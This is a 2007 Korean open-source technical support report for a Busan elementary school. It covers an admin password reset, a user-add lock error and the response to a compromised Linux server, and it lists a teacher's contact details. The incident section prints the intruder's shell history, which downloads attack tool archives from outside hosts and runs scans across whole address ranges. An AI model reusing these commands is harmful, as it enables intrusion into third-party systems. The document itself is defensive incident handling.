

공개 S/W 기술지원
부산광역시 망미초등학교

한국소프트웨어진흥원
공개SW기술지원센터

<Revision 정보>

일자	VERSION	변경내역	작성자
2007. 3. 9	0.1	초기 작성	양선주
2007. 3.12	0.2	사용자 관련 명령어 문의 추가	양선주
2007. 3.13	0.3	시스템 해킹 관련 문의 추가	양선주
2007. 3.14	0.4	문서번호 분류 수정	양선주

	공개SW 기술지원	
	구분 : 기술지원	단계:
	작성자: 양선주	작성일: 2007. 3.14
	검토자:	검토일:
	승인자:	승인일:

1. 대상기업/기관 정보

구분	항목	내용	비고
기업/기관 정보	지역	부산광역시 수영구 망미2동 268-2	
	기업/기관 명칭	망미초등학교	
	부서		
	직책	홈페이지 담당교사	
	담당자 이름	조용남	
	전화번호 / 팩스번호	011-490-5968	
	E-Mail	namisam@hanmail.net	

2. 대상기업/기관 지원사항

구분	항목	내용	비고
기업/기관 지원사항	접수내용	1. 홈페이지상의 관리자 아이디와 비밀번호를 잊어, 알아낼 수 있는 방법 2. 사용자 추가 에러 문제 해결 방안 <pre>[root@localhost root]# adduser namisam adduser: 패스워드 파일 잠금을 할 수 없습니다 [root@localhost root]# [root@localhost root]# ll /etc/passwd -rw-r--r-- 1 root root 1862 2월 22 11:51 /etc/passwd [root@localhost root]# chmod 755 /etc/passwd [root@localhost root]# adduser namisam adduser: 패스워드 파일 잠금을 할 수 없습니다 [root@localhost root]#</pre> 3. 시스템 크래킹 해결 방안 <pre>[root@localhost /]# last root pts/2 172.31.1.61 Mon Mar 12 10:24 still logged in abcd pts/2 23-wrs.kl-net.ro Mon Mar 12 04:19</pre>	

		<pre> - 06:06 (01:47) abcd pts/2 acb45939.ipt.aol Mon Mar 12 04:06 - 04:16 (00:10) abcd pts/2 acb45939.ipt.aol Mon Mar 12 03:38 - 03:38 (00:00) abcd pts/3 acb6c2d3.ipt.aol Sat Mar 10 15:10 - 15:11 (00:01) abcd pts/2 acb6c2d3.ipt.aol Sat Mar 10 14:26 - 02:37 (12:11) abcd pts/2 211.252.254.29 Sat Mar 10 11:53 - 13:53 (02:00) root pts/2 61.35.196.141 Sat Mar 10 10:24 - 11:06 (00:42) root pts/2 172.31.1.61 Fri Mar 9 15:48 - 16:00 (00:11) wtmptmp begins Fri Mar 9 15:48:52 2007 [root@localhost /]# [root@localhost home]# ll 합계 16 drwx----- 4 abcd abcd 4096 3월 12 04:21 abcd drwx----- 3 namisam namisam 4096 3월 12 11:00 namisam drwxrwxrwx 4 nom007 nom007 4096 11월 14 13:50 nom007 drwx----- 3 smagic smagic 4096 12월 29 13:34 smagic [root@localhost home]# cd abcd/ [root@localhost abcd]# ll 합계 0 [root@localhost abcd]# ls -al 합계 40 drwx----- 4 abcd abcd 4096 3월 12 04:21 . drwxr-xr-x 6 root root 4096 3월 12 11:00 .. -rw----- 1 abcd abcd 864 3월 12 06:06 .bash_history </pre>	
--	--	--	--

		-rw-r--r--	1	abcd	abcd	24	2월	22	11:51	
		.bash_logout								
		-rw-r--r--	1	abcd	abcd	191	2월	22	11:51	
		.bash_profile								
		-rw-r--r--	1	abcd	abcd	124	2월	22	11:51	
		.bashrc								
		-rw-r--r--	1	abcd	abcd	237	2월	22	11:51	
		.emacs								
		-rw-r--r--	1	abcd	abcd	120	2월	22	11:51	
		.gtkrc								
		drwxr-xr-x	3	abcd	abcd	4096	1월	5	2006	
		.h								
		drwxr-xr-x	3	abcd	abcd	4096	2월	22	11:51	
		.kde								
		[root@localhost abcd]# less .bash_history								
		w								
		cat /etc/hosts								
		/sbin/ifconfig grep inet								
		passwd								
		cd .								
		cd ..								
		ls -a								
		w								
		uname -a								
		wget gavana.uv.ro/xpula.tgz								
		tar xzvf xpula.tgz								
		cd locale/								
		./aVe								
		w								
		cd								
		ls -a								
		wget gavana.uv.ro/unixcod.gz								
		wget gavana.uv.ro/unixcod.tgz								
		tar xzvf unixcod.tgz								
		cd unixcod								
		mv unix x								
		chmod +x *								
		./x 66.34								

		<pre> cd wget www.freewebtown.com/gavana123/scan.tgz tar xzvf scan.tgz cd ./... ./x 211.179 ;./x 211.178 ;./x 211.177 ;./x 211..176 ;./x 211.175 ;./x 211.174 ;./x 211.173 ;./x 211.172 ;./x 211.171 ;./x 211.170 ./x 211.176 w ls -a w ls -a cd unixcod ./x 66.34 passwd w ls cd locale .bash_history </pre>	
	지원내역	1. 관리자 아이디와 비밀번호 검색 방법 1) 기존 콘솔작업 방법 - 홈페이지 구축 사업 시, 개발업체가 최종 보고한 산출물을 확인하여 관리자 계정의 DB명과 table명, field 명 확보 - 알아낸 정보로 해당 field 값을 확인하는 query <pre> [root@localhost root]# mysql -u root -p Enter password : mysql> use home_user user> select passwd from user where id = 'admin'; ----- id passwd ----- admin xxxxxxxxxxxxxxxxx ----- </pre>	

		- 비밀번호 field가 암호화된 경우 업데이트하는 query <pre>user> update user set passwd = 1111111 where id = 'admin';</pre> Query OK, 1 row affected (0.02 sec) Rows matched: 1 Changed: 1 Warnings: 0 2) 웹서버와 PHP가 연동된 경우, phpMyAdmin 관리툴 설치 및 사용법 안내 3) 현장 기술지원 가능 업체 정보 안내 2. 사용자 추가 에러 문제 <pre>[root@localhost root]# ls -al /etc/passwd.lock [root@localhost root]# ls -al /etc/shadow.lock [root@localhost root]# ls -al /etc/gshadow.lock [root@localhost root]# ls -al /etc/group.lock [root@localhost root]# cd /etc/ [root@localhost etc]# rm passwd.lock [root@localhost etc]# rm shadow.lock [root@localhost etc]# rm gshadow.lock [root@localhost etc]# rm group.lock</pre> 3. 시스템 크래킹 문제 1) 설치된 크래킹 툴 점검 확인 2) 권고사항 - SSH 서비스 중지 및 사용자 백업 후 삭제 - 가동 중인 서비스 및 포트 확인 후 비정상 서비스/포트 중지 - 정상적인 웹서비스 파일, DB 등의 백업 조치 - 새로운 OS 설치 - 국가정보원 침해사고지원센터 접수 3) 참고사항 - 참고자료(국가정보원 침해사고대응기술) 송부 - 관련 업체 연락처	
--	--	--	--